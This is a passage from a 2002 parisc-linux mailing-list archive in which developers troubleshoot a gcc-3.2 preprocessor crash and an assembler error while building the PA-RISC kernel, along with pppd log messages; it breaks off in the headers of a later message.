X-Trace: ger.gmane.org 1416621441 9412 80.91.229.3 (22 Nov 2014 01:57:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:21 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 27 08:58:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B99654835
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Jun 2002 08:58:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5REwAFN015375;
	Thu, 27 Jun 2002 10:58:11 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5REw9Tr015373;
	Thu, 27 Jun 2002 10:58:09 -0400 (EDT)
In-Reply-To: <1025159126.3d1aafd6bb544@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Jun 27, 2002 08:25:26 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15242

> Oops,  gcc -E ... works well and give the expect results (if I do a link
> 1->linux) but gcc -dM -E ... SegFault :((
> 
> # gcc -dM -E -D__ASSEMBLY__ -traditional -D__KERNEL__
> -I/Develop/parisc-linux/src/linux/include  -c -o pacache.CPP pacache.S
> In file included from /Develop/parisc-linux/src/linux/include/asm/assembly.h:31,
>                  from pacache.S:44:
> /Develop/parisc-linux/src/linux/include/asm/offset.h:3: unterminated #ifndef
> cc1: internal compiler error: internal error: Segmentation fault

The '-c' shouldn't be there but cc1 shouldn't ICE on an unterminated #ifdef.
Is the #ifdef actually unterminated?  Would you file a PR on this one as
well?

I'm also seeing a problem with the preprocessor on the vax :(

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 failed to compile kernel
Date: Thu, 27 Jun 2002 08:10:40 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206270808500.17764-100000@garibaldi.apptechsys.com>
References: <200206271458.g5REw9Tr015373@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621441 9415 80.91.229.3 (22 Nov 2014 01:57:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:21 +0000 (UTC)
Cc: joel.soete@freebel.net, <grundler@dsl2.external.hp.com>,
	<parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 27 09:10:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id B91D34837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Jun 2002 09:10:41 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 7C6BB7BC45; Thu, 27 Jun 2002 08:10:40 -0700 (PDT)
In-Reply-To: <200206271458.g5REw9Tr015373@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15243

It is perfectly all right now.  Just a messed up cvs tree.  An rm -rf and 
a cvs co took care of it.

On Thu, 27 Jun 2002, John David Anglin wrote:

> > Oops,  gcc -E ... works well and give the expect results (if I do a link
> > 1->linux) but gcc -dM -E ... SegFault :((
> > 
> > # gcc -dM -E -D__ASSEMBLY__ -traditional -D__KERNEL__
> > -I/Develop/parisc-linux/src/linux/include  -c -o pacache.CPP pacache.S
> > In file included from /Develop/parisc-linux/src/linux/include/asm/assembly.h:31,
> >                  from pacache.S:44:
> > /Develop/parisc-linux/src/linux/include/asm/offset.h:3: unterminated #ifndef
> > cc1: internal compiler error: internal error: Segmentation fault
> 
> The '-c' shouldn't be there but cc1 shouldn't ICE on an unterminated #ifdef.
> Is the #ifdef actually unterminated?  Would you file a PR on this one as
> well?
> 
> I'm also seeing a problem with the preprocessor on the vax :(
> 
> Dave
> 

-- 
"Cable is not a luxury, since many areas have poor TV reception."
		-- The mayor of Tucson, Arizona, 1989




From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 failed to compile kernel
Date: Thu, 27 Jun 2002 20:11:47 +0200 (CEST)
Lines: 51
Approved: news@gmane.org
Message-ID: <1025201506.3d1b5563048ad@webmail.tiscalinet.be>
References: <Pine.LNX.4.44.0206270808500.17764-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621442 9416 80.91.229.3 (22 Nov 2014 01:57:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:22 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	joel.soete@freebel.net, grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 27 12:26:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE7244838
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Jun 2002 12:26:03 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17NdkB-0001Vj-00; Thu, 27 Jun 2002 20:11:47 +0200
In-Reply-To: <Pine.LNX.4.44.0206270808500.17764-100000@garibaldi.apptechsys.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15244

This answer concern well your CVS Kernel?

Nice so :)

Joel

Quoting Jeremy Drake <jeremyd@apptechsys.com>:

> It is perfectly all right now.  Just a messed up cvs tree.  An rm -rf
> and 
> a cvs co took care of it.
> 
> On Thu, 27 Jun 2002, John David Anglin wrote:
> 
> > > Oops,  gcc -E ... works well and give the expect results (if I do a
> link
> > > 1->linux) but gcc -dM -E ... SegFault :((
> > > 
> > > # gcc -dM -E -D__ASSEMBLY__ -traditional -D__KERNEL__
> > > -I/Develop/parisc-linux/src/linux/include  -c -o pacache.CPP
> pacache.S
> > > In file included from
> /Develop/parisc-linux/src/linux/include/asm/assembly.h:31,
> > >                  from pacache.S:44:
> > > /Develop/parisc-linux/src/linux/include/asm/offset.h:3: unterminated
> #ifndef
> > > cc1: internal compiler error: internal error: Segmentation fault
> > 
> > The '-c' shouldn't be there but cc1 shouldn't ICE on an unterminated
> #ifdef.
> > Is the #ifdef actually unterminated?  Would you file a PR on this one
> as
> > well?
> > 
> > I'm also seeing a problem with the preprocessor on the vax :(
> > 
> > Dave
> > 
> 
> -- 
> "Cable is not a luxury, since many areas have poor TV reception."
> 		-- The mayor of Tucson, Arizona, 1989
> 
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 failed to compile kernel
Date: Thu, 27 Jun 2002 14:37:48 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200206271837.g5RIbmO5016284@hiauly1.hia.nrc.ca>
References: <1025201506.3d1b5563048ad@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621442 9418 80.91.229.3 (22 Nov 2014 01:57:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:22 +0000 (UTC)
Cc: jeremyd@apptechsys.com, grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 27 12:38:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 765C2483E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Jun 2002 12:38:15 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5RIbnFN016286;
	Thu, 27 Jun 2002 14:37:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5RIbmO5016284;
	Thu, 27 Jun 2002 14:37:48 -0400 (EDT)
In-Reply-To: <1025201506.3d1b5563048ad@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Jun 27, 2002 08:11:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15245

> > > > 1->linux) but gcc -dM -E ... SegFault :((
> > > > 
> > > > # gcc -dM -E -D__ASSEMBLY__ -traditional -D__KERNEL__
> > > > -I/Develop/parisc-linux/src/linux/include  -c -o pacache.CPP
> > pacache.S

I don't think gcc (cc1) should segfault even if the cvs is messed up.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PPP /dev/ppp temporary unavailable
Date: Fri, 28 Jun 2002 15:05:43 +0200 (CEST)
Lines: 32
Approved: news@gmane.org
Message-ID: <1025269543.3d1c5f27b0669@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621442 9420 80.91.229.3 (22 Nov 2014 01:57:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:22 +0000 (UTC)
Cc: Robert Boehm <robertb@olsztyn.ken.pl>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 28 07:05:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BEA0483B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Jun 2002 07:05:46 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17NvRX-0001lS-00; Fri, 28 Jun 2002 15:05:43 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15246

Hi all,

Thanks to advises of Robert I reach to configure the serials port of my b180 and
b2000 (No success with my 712?) to make serial ppp connection with MyIsp.

But I still log following messages:

Jun 28 09:46:22 palinux pppd[310]: Script /etc/ppp/ip-up started (pid 316)
Jun 28 09:46:23 palinux pppd[310]: Script /etc/ppp/ip-up finished (pid 316),
status = 0x0
Jun 28 09:46:23 palinux pppd[310]: read: Resource temporarily unavailable
Jun 28 09:46:23 palinux pppd[310]: read /dev/ppp: Resource temporarily unavailable
Jun 28 09:46:25 palinux pppd[310]: read: Resource temporarily unavailable
Jun 28 09:46:25 palinux pppd[310]: read /dev/ppp: Resource temporarily unavailable
Jun 28 09:46:25 palinux pppd[310]: read: Resource temporarily unavailable
Jun 28 09:46:25 palinux pppd[310]: read /dev/ppp: Resource temporarily unavailable
What does it means?

Even thought all seems to works fine (host ftp.de.debian.org, ncftp
ftp.de.debian.org, lynx debian.org; all seems Ok).

Joel

PS: OTC with minicom I get garbage if baudrate <> 9600? (hw or sw flow control
on both end)



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 failed to compile kernel
Date: Fri, 28 Jun 2002 16:27:17 +0200 (CEST)
Lines: 113
Approved: news@gmane.org
Message-ID: <1025274437.3d1c7245c4a8c@webmail.tiscalinet.be>
References: <Pine.LNX.4.44.0206270808500.17764-100000@garibaldi.apptechsys.com> <1025201506.3d1b5563048ad@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621442 9423 80.91.229.3 (22 Nov 2014 01:57:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:22 +0000 (UTC)
Cc: Jeremy Drake <jeremyd@apptechsys.com>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	grundler@dsl2.external.hp.com, INVALID_ADDRESS@.SYNTAX-ERROR
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 28 08:27:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0159D483C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Jun 2002 08:27:29 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17NwiX-00039B-00; Fri, 28 Jun 2002 16:27:21 +0200
In-Reply-To: <1025201506.3d1b5563048ad@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15247

Hi,

Neil seems to have fixed this problem but another one appears at the same place.

Here is the continue of story:

Quoting neil@gcc.gnu.org:

> Synopsis: gcc-3.2 failed to compile kernel
> > State-Changed-From-To: analyzed->closed
> State-Changed-By: neil
> State-Changed-When: Thu Jun 27 23:31:44 2002
> State-Changed-Why:
> Fixed.  Please let me know if it doesn't work for you (unlikely).
> >
http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=7138
> > Hi Neil,

This seems to be fixed but (just for info) another problem at the same place:

gcc -D__KERNEL__ -I/Develop/parisc-linux/src/linux-2.4.18-pa40/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing
-fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
-mschedule=7100   -DKBUILD_BASENAME=cache  -c -o cache.o cache.c
gcc -D__ASSEMBLY__ -traditional -D__KERNEL__
-I/Develop/parisc-linux/src/linux-2.4.18-pa40/include  -c -o pacache.o pacache.S
/Develop/parisc-linux/src/linux-2.4.18-pa40/include/asm/pgtable.h: Assembler
messages:
/Develop/parisc-linux/src/linux-2.4.18-pa40/include/asm/pgtable.h:45: Fatal
error: Unknown opcode: `printk("%s:%d: bad pte %08lx.\n",
"/Develop/parisc-linux/src/linux-2.4.18-pa40/include/asm/pgtable.h",45,pte_val(e))'
make[1]: *** [pacache.o] Error 1
make[1]: Leaving directory
`/Develop/parisc-linux/src/linux-2.4.18-pa40/arch/parisc/kernel'
make: *** [_dir_arch/parisc/kernel] Error 2


But that will be another story (next 2 weeks i will be on hollidays :))

Many thanks Neil for your attention,
    Joel


Quoting joel.soete@freebel.net:

> This answer concern well your CVS Kernel?
> 
> Nice so :)
> 
> Joel
> 
> Quoting Jeremy Drake <jeremyd@apptechsys.com>:
> 
> > It is perfectly all right now.  Just a messed up cvs tree.  An rm -rf
> > and 
> > a cvs co took care of it.
> > 
> > On Thu, 27 Jun 2002, John David Anglin wrote:
> > 
> > > > Oops,  gcc -E ... works well and give the expect results (if I do
> a
> > link
> > > > 1->linux) but gcc -dM -E ... SegFault :((
> > > > 
> > > > # gcc -dM -E -D__ASSEMBLY__ -traditional -D__KERNEL__
> > > > -I/Develop/parisc-linux/src/linux/include  -c -o pacache.CPP
> > pacache.S
> > > > In file included from
> > /Develop/parisc-linux/src/linux/include/asm/assembly.h:31,
> > > >                  from pacache.S:44:
> > > > /Develop/parisc-linux/src/linux/include/asm/offset.h:3:
> unterminated
> > #ifndef
> > > > cc1: internal compiler error: internal error: Segmentation fault
> > > 
> > > The '-c' shouldn't be there but cc1 shouldn't ICE on an
> unterminated
> > #ifdef.
> > > Is the #ifdef actually unterminated?  Would you file a PR on this
> one
> > as
> > > well?
> > > 
> > > I'm also seeing a problem with the preprocessor on the vax :(
> > > 
> > > Dave
> > > 
> > 
> > -- 
> > "Cable is not a luxury, since many areas have poor TV reception."
> > 		-- The mayor of Tucson, Arizona, 1989
> > 
> > 
> > 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: preprocessor/7138: gcc-3.2 failed to compile kernel
Date: Fri, 28 Jun 2002 16:13:00 +0200 (CEST)
Lines: 45
Approved: news@gmane.org
Message-ID: <1025273580.3d1c6eec17b64__44938.5110209279$1416621443$gmane$org@webmail.tiscalinet.be>
References: <20020628063144.498.qmail@sources.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621443 9425 80.91.229.3 (22 Nov 2014 01:57:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:23 +0000 (UTC)
Cc: gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org,
	joel.soete@freebel.net, neil@gcc.gnu.org
To: neil@gcc.gnu.org, gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org,
	joel.soete@freebel.net, neil@gcc.gnu.org, gcc-gnats@gcc.gnu.org,
	neil@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 28 08:13:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0099483C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Jun 2002 08:13:26 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17NwUe-0003rE-00; Fri, 28 Jun 2002 16:13:00 +0200
In-Reply-To: <20020628063144.498.qmail@sources.redhat.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15248

Quoting neil@gcc.gnu.org:

> Synopsis: gcc-3.2 failed to compile kernel
> 
> State-Changed-From-To: analyzed->closed
> State-Changed-By: neil
> State-Changed-When: Thu Jun 27 23:31:44 2002
> State-Changed-Why:
>     Fixed.  Please let me know if it doesn't work for you (unlikely).
> 
> http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=7138
> 
> 
Hi Neil,

This seems to be fixed but (just for info) another problem at the same place:

gcc -D__KERNEL__ -I/Develop/parisc-linux/src/linux-2.4.18-pa40/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing
-fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
-mschedule=7100   -DKBUILD_BASENAME=cache  -c -o cache.o cache.c
gcc -D__ASSEMBLY__ -traditional -D__KERNEL__
-I/Develop/parisc-linux/src/linux-2.4.18-pa40/include  -c -o pacache.o pacache.S
/Develop/parisc-linux/src/linux-2.4.18-pa40/include/asm/pgtable.h: Assembler
messages:
/Develop/parisc-linux/src/linux-2.4.18-pa40/include/asm/pgtable.h:45: Fatal
error: Unknown opcode: `printk("%s:%d: bad pte %08lx.\n",
"/Develop/parisc-linux/src/linux-2.4.18-pa40/include/asm/pgtable.h",45,pte_val(e))'
make[1]: *** [pacache.o] Error 1
make[1]: Leaving directory
`/Develop/parisc-linux/src/linux-2.4.18-pa40/arch/parisc/kernel'
make: *** [_dir_arch/parisc/kernel] Error 2


But that will be another story (next 2 weeks i will be on hollidays :))

Many thanks Neil for your attention,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] memory swap, and another Q?
Date: Fri, 28 Jun 2002 16:30:24 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <a05100303b942772616ec@[192.168.0.67]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416621443 9426 80.91.229.3 (22 Nov 2014 01:57:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:23 +0000 (UTC)
